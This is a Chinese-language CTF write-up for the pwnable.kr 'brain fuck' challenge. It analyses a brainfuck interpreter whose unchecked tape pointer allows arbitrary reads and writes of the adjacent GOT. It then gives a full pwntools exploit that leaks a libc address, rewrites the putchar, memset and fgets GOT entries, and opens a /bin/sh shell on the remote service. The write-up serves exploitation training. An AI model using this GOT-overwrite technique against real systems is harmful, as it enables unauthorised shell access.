pwnable.kr - brain fuck

题目简介

Brain fuck 是 pwnable.kr 第二阶段的第一道题,考察了覆些 GOT 表等知识点。题目信息如下:

题目信息

分析

将下载得到的 bf 文件拖进 IDA 中查看,发现程序主要由 main 函数以及 do_brainfuck 函数组成,且没有开启 PIE。

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t i; // [esp+28h] [ebp-40Ch]
  char s[1024]; // [esp+2Ch] [ebp-408h]
  unsigned int v6; // [esp+42Ch] [ebp-8h]

  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  p = (int)&tape;
  puts("welcome to brainfuck testing system!!");
  puts("type some brainfuck instructions except [ ]");
  memset(s, 0, 0x400u);
  fgets(s, 1024, stdin);
  for ( i = 0; i < strlen(s); ++i )
    do_brainfuck(s[i]);
  return 0;
}

do_brainfuck 函数如下:

int __cdecl do_brainfuck(char a1)
{
  int result; // eax
  _BYTE *v2; // ebx

  result = a1;
  switch ( a1 )
  {
    case 43:
      result = p;
      ++*(_BYTE *)p;
      break;
    case 44:
      v2 = (_BYTE *)p;
      result = getchar();
      *v2 = result;
      break;
    case 45:
      result = p;
      --*(_BYTE *)p;
      break;
    case 46:
      result = putchar(*(char *)p);
      break;
    case 60:
      result = p-- - 1;
      break;
    case 62:
      result = p++ + 1; 
      break;
    case 91:
      result = puts("[ and ] not supported.");
      break;
    default:
      return result;
  }
  return result;
}

分析 do_brainfuck 函数可知,该函数实现了一个 brainfuck 语言的解释器,但是存在任意读写漏洞。因为 tape 在 bss 段,地址为 0x0804A0A0,与 GOT 表 相邻。因此通过控制 p 的值,可以实现对 GOT 表的任意读写。

GOT 表如下:

.got.plt:0804A000 ; ===========================================================================
.got.plt:0804A000
.got.plt:0804A000 ; Segment type: Pure data
.got.plt:0804A000 ; Segment permissions: Read/Write
.got.plt:0804A000 _got_plt        segment dword public 'DATA' use32
.got.plt:0804A000                 assume cs:_got_plt
.got.plt:0804A000                 ;org 804A000h
.got.plt:0804A000 _GLOBAL_OFFSET_TABLE_ dd offset _DYNAMIC
.got.plt:0804A004 dword_804A004   dd 0                    ; DATA XREF: sub_8048430↑r
.got.plt:0804A008 ; int (*dword_804A008)(void)
.got.plt:0804A008 dword_804A008   dd 0                    ; DATA XREF: sub_8048430+6↑r
.got.plt:0804A00C off_804A00C     dd offset getchar       ; DATA XREF: _getchar↑r
.got.plt:0804A010 off_804A010     dd offset fgets         ; DATA XREF: _fgets↑r
.got.plt:0804A014 off_804A014     dd offset __stack_chk_fail
.got.plt:0804A014                                         ; DATA XREF: ___stack_chk_fail↑r
.got.plt:0804A018 off_804A018     dd offset puts          ; DATA XREF: _puts↑r
.got.plt:0804A01C off_804A01C     dd offset __gmon_start__
.got.plt:0804A01C                                         ; DATA XREF: ___gmon_start__↑r
.got.plt:0804A020 off_804A020     dd offset strlen        ; DATA XREF: _strlen↑r
.got.plt:0804A024 off_804A024     dd offset __libc_start_main
.got.plt:0804A024                                         ; DATA XREF: ___libc_start_main↑r
.got.plt:0804A028 off_804A028     dd offset setvbuf       ; DATA XREF: _setvbuf↑r
.got.plt:0804A02C off_804A02C     dd offset memset        ; DATA XREF: _memset↑r
.got.plt:0804A030 off_804A030     dd offset putchar       ; DATA XREF: _putchar↑r
.got.plt:0804A030 _got_plt        ends
.got.plt:0804A030

具体解题思路是,首先控制 p 的值泄露出 puts 的地址,从而求得 gets 以及 system 的地址(题目给出了 so 文件)。然后改写 putchar 的 got 表项为 main 函数地址,改写 memset 的 got 表项为 gets 地址,改写 fgets 的 got 表项为 system 地址。接着再次进入 main 函数(通过改写后的 putchar),通过 gets(即改写后的 memset)读入 /bin/sh,最后调用 system(即改写后的 fgets)。

writeup

from pwn import *

context(os='linux', arch='i386', log_level='info')

DEBUG = 0
if DEBUG:
    p = process('./bf')
    so = ELF('/lib32/libc.so.6')
else:
    p = remote('pwnable.kr', 9001)
    so = ELF('./bf_libc.so')

ins =  0x88 * '<' + '.>.>.>.>'   # get puts_addr
ins += 0x14 * '>' + ',>,>,>,>'   # change putchar_got to main
ins += 0x8  * '<' + ',>,>,>,>'   # change memset_got to gets
ins += 0x20 * '<' + ',>,>,>,>'   # change fgets_got to system
ins += '.'  # return to main

# print ins

p.recvuntil('[ ]\n')
p.sendline(ins)

leak1 = p.recv(1)
leak = leak1 + p.recv(3)
puts_addr = u32(leak)
log.info('puts_addr = ' + hex(puts_addr))

gets_addr = puts_addr + (so.symbols['gets'] - so.symbols['puts'])
log.info('gets_addr = ' + hex(gets_addr))
system_addr = puts_addr + (so.symbols['system'] - so.symbols['puts'])
log.info('system_addr = ' + hex(system_addr))

main_addr = 0x8048671

shellcode = p32(main_addr) + p32(gets_addr) + p32(system_addr) + '/bin/sh\x00'
p.sendline(shellcode)

p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值